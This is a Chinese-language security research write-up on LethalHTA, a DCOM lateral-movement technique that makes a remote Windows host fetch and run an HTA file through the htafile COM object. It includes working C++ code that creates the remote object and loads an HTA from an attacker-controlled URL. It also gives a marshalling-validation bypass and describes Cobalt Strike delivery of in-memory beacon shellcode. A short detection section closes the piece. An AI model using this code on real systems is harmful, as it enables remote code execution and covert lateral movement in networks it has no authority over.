本篇文章,主要介绍了一种新型的横向渗透手法,它把DOCM和HTA两者结合起来,实现有效的隐蔽攻击。对于这个技术,来自我们最近研究成果的一部分,具体可以参考: Marshalling to SYSTEM – An analysis of CVE-2018-0824。
前期工作
在此之前,Matt Nelson,Ryan Hanson, Philip Tsukerman 和 @bohops 这几位研究者,已经公布了多种使用DCOM作为横向渗透的技术。关于这些技术的总结能够在 Philip Tsukerman 的博客看到 。大多数现有的技术都是通过ShellExecute(Ex) 这个方法来执行相关命令。而 Microsoft Office 提供的一些COM 对象,则允许执行脚本代码(如VBScript), 这大大提高了分析人员后期的检测和取证的难度。
LETHALHTA介绍
LETHALHTA基于一个广为所知的COM对象—htafile,这个对象在过去名为“Office Moniker attacks”的攻击中持续使用,关于这个攻击的感兴趣的同学,可以查看火眼的分析报告FireEye’s blog post。
ProgID: “htafile”
CLSID : “{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}”
AppID : “{40AEEAB6-8FDA-41E3-9A5F-8350D4CFCA91}”
我们通过使用James Forshaw 开发的一款名为 OleViewDotNet的工具,得到关于htafile的详细信息。这个COM对象以本地服务器的权限运行。
可以看到,它拥有App ID,以及默认的启动和访问权限。一个COM对象,当其拥有App ID时,才能用以横向渗透。
从OleViewDotNet中所反馈的信息中,我们可以看到,它还实现了数个接口。
其中有一个名为 IPersistMoniker的接口,此接口的功能是,从IMoniker实例中保存或者恢复一个COM对象的状态。
MIDL_INTERFACE("79eac9c9-baf9-11ce-8c82-00aa004ba90b")
IPersistMoniker : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE GetClassID(
/* [out] */ __RPC__out CLSID *pClassID) = 0;
virtual HRESULT STDMETHODCALLTYPE IsDirty( void) = 0;
virtual HRESULT STDMETHODCALLTYPE Load(
/* [in] */ BOOL fFullyAvailable,
/* [in] */ __RPC__in_opt IMoniker *pimkName,
/* [in] */ __RPC__in_opt LPBC pibc,
/* [in] */ DWORD grfMode) = 0;
virtual HRESULT STDMETHODCALLTYPE Save(
/* [in] */ __RPC__in_opt IMoniker *pimkName,
/* [in] */ __RPC__in_opt LPBC pbc,
/* [in] */ BOOL fRemember) = 0;
virtual HRESULT STDMETHODCALLTYPE SaveCompleted(
/* [in] */ __RPC__in_opt IMoniker *pimkName,
/* [in] */ __RPC__in_opt LPBC pibc) = 0;
virtual HRESULT STDMETHODCALLTYPE GetCurMoniker(
/* [out] */ __RPC__deref_out_opt IMoniker **ppimkName) = 0;
};
我们最初的设想,是创建一个COM对象,然后通过使用指向HTA文件的URLMoniker,调用IPersistMoniker->Load() 方法来恢复其状态。所以我们在VisualStudio中创建了一个小程序,并且运行它。
int wmain(int argc, wchar_t *argv[], wchar_t *envp[])
{
GUID gHtafile = { 0x3050f4d8,0x98b5,0x11cf,{ 0xbb,0x82,0x00,0xaa,0x00,0xbd,0xce,0x0b } };
HRESULT hr;
IUnknownPtr pOut;
IPersistMonikerPtr pPersMon;
IMonikerPtr pMoniker;
MULTI_QI* rgQI = new MULTI_QI[1];
COSERVERINFO stInfo = { 0 };
WCHAR pwszTarget[MAX_PATH] = { L"192.168.1.11" };
WCHAR pwszHta[MAX_PATH] = { L"http://192.168.1.12:8000/test.hta" };
rgQI[0].pIID = &IID_IUnknown;
rgQI[0].pItf = NULL;
rgQI[0].hr = 0;
stInfo.pwszName = pwszTarget;
stInfo.dwReserved1 = 0;
stInfo.dwReserved2 = 0;
stInfo.pAuthInfo = nullptr;
CoInitialize(0);
hr = CreateURLMonikerEx(NULL, pwszHta, &pMoniker, 0);
hr = CoCreateInstanceEx(gHtafile, NULL, CLSCTX_REMOTE_SERVER, &stInfo, 1, rgQI);
pOut = rgQI[0].pItf;
hr = pOut->QueryInterface(&pPersMon);
hr = pPersMon->Load(FALSE, pMoniker, NULL, STGM_READ);
}
但是当我们调用IPersistMoniker->Load() 时,返回了一个0x80070057的错误码。在经过一段煎熬的Debug之后发现,这个错误码是来自对CUrlMon::GetMarshalSizeMax()的调用。该方法使用于对URLMoniker进行marshalling(编码,是计算机科学中把一个对象的内存表示变换为适合存储或发送的数据格式的过程)期间。在调用IPersistMoniker->Load()方法时,把URLMoniker作为参数进行传递,这应该是完全合理的。但是,我们是对远程COM对象执行方法调用。因此,我们的参数需要进行自定义的marshalling(编码),并且通过RPC(远程过程调用,一种通信方式),发送到COM服务器的RPC端点。
因此,我们在IDA PRO中查看,关于CUrlMon::GetMarshalSizeMax() 的实现。如下图,我们看到,在一开始就对CUrlMon::ValidateMarshalParams()这个函数进行调用。
在这个函数的最后,我们发现了错误码集合有在函数中作为函数的返回值。Microsoft 会验证dwDestContext参数。如果传入的参数是MSHCTX_DIFFERENTMACHINE(0x2),程序最终会返回的上文中的错误码。
正如我们在CUrlMon::ValidateMarshalParams()的引用中看到的那样,在marshalling(编码)期间,有多个函数都会调用该方法。
为了绕过验证,可以采用我们之前的发表的一篇文章所讲述的方法:首先创建一个伪造的对象。这个伪造的对象需要实现 IMarshal 和IMoniker这两个接口。它会把所有的调用都转发给URLMoniker实例。为了绕过 CUrlMon::GetMarshalSizeMax, CUrlMon::GetUnmarshalClass, CUrlMon::MarshalInterface这三个方法的参数验证,我们需要修改dwDestContext参数为MSHCTX_NOSHAREDMEM(0x1)。下面是实现CUrlMon::GetMarshalSizeMax() 的代码片段。
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ DWORD *pSize)
{
return _marshal->GetMarshalSizeMax(riid, pv, MSHCTX_NOSHAREDMEM, pvDestContext, mshlflags, pSize);
}
这样,我们就实现参数验证的认证。当然,您也可以修改urlmon.dll中的代码。但是这需要调用VirtualProtect() 这个方法,来使内存分页可写,然后使得CUrlMon::ValidateMarshalParams()的返回值总是为0。但我们不建议使用它,VirtualProtect()是一个敏感函数,很容易被EDR(终端检测与响应系统)和“高级”的安全软件查杀。
现在,我们可以在远程COM 对象上调用 IPersistMoniker->Load()。这个COM对象实现了COM对象从URL中加载HTA文件及执行内容。众所周知,HTA文件可以包含执行脚本代码如JScrip或者VBScript。聪明的你应该想到,把我们的技巧和James Forshaw的 DotNetToJScript结合起来,这样就可以在内存中执行你的Payload!
值得一提的是,这个远程加载的文件并不一定需要hta文件作为后缀。类似于html,txt,rtf,甚至是无后缀都能够很好的执行(也就是只要文件内容是hta格式,文件后缀并不重要)。
LETHALHTA 和 LETHALHTADOTNET
我们为这个技术编写了c++和C#的证明实现。您可以将它们作为独立的程序运行。C++ 的版本更象实一个概念的验证(POC),这可以帮助您创建一个反射的dll。c#的版本可以作为程序集,使用Assembly.Load(Byte[])进行加载,这样就可以在Powershell的脚本中便捷的使用它。我们已经可以在GitHub的发行版上发布了它的实现。
在COBALT STRIKE中集成
为了能够在我们的日常工作中轻松的使用这项技术。我们创建了一个名为“LethalHTA.cna”的Cobalt Strike Aggressor脚本。它通过.NET实现,我们能在Cobalt Strike的图形界面中方便的使用它。其提供两种不同的横向渗透的方法:HTA PowerShell Delivery (staged – x86) 和 HTA .NET In-Memory Delivery (stageless – x86/x64 dynamic)。
HTA PowerShell Delivery 方法允许在目标系统上执行基于Powershell的beacon命令。前提是,目标系统需要能够访问HTTP(S)主机以及渗透人员的TeamServer(在大多数情况下,它们都位于同一系统上)。
HTA .NET In-Memory Delivery方法使用内存加载运行,这使得该技术更加实用。该技术在Payload传输和隐蔽性方面,更加的灵活多变。使用这个技术,可以通过beacon传输HTA,还可以指定代理服务器。如果目标系统无法访问到TeamServer,或者连接不到其他处于Internet上的系统(即HTTP(S)协议被拦截)。我们还可以使用SMB监听器。这项技术可以通过SMB访问到我们的Beacon,对通信协议有了更多的选择。
文中所介绍的技术,所有的操作都是在mshta.exe进程中完成,无需创建其他进程。
这两种技术的结合,除了可以执行上述的HTA攻击向量。理论上我们可以在内存中执行任意操作。利用DotNetToJScript,我们可以加载一个简单的.NET 类(SCLoader),用来动态的判单目标的操作系统是32位还是64位,以此来决定接下来我们要执行特定的beacon shellcode。当你其他的渗透场景中,不知到目标操作系统的的体系结构时,这项判断技术就很实用了。
要了解更多步骤的详细说明,可以访问我们的GitHub Project。
关于检测
要检测该项技术,您可以查看包含“ActiveXObject”的INetCache(%windir%[System32 or SysWOW64]configsystemprofileAppDataLocalMicrosoftWindowsINetCacheIE) 文件夹中的文件,这是因为mshta.exe在执行时会缓存Payload文件。此外,还可以判断mshta.exe是否由svchost.exe所衍生的新进程,进行检测排查。
审核人:yiwang 编辑:边边